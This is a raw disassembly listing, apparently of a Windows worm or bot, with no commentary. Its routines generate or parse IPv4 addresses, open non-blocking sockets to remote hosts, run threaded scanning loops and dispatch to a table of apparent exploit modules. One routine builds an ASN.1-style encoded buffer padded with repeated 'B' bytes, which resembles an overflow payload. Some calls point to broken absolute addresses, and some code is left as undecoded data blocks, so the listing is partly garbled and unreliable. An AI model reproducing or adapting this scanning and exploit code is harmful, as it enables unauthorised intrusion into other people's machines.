		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26A068Bh
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2710000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	near ptr 2710736h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 27105A5h
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 26B0669h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	near ptr 2710736h
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2293D45h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0ECE890FCh,	0FF02273Eh
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	0E8575700h
		dd 2293C55h, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2273DFBh, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
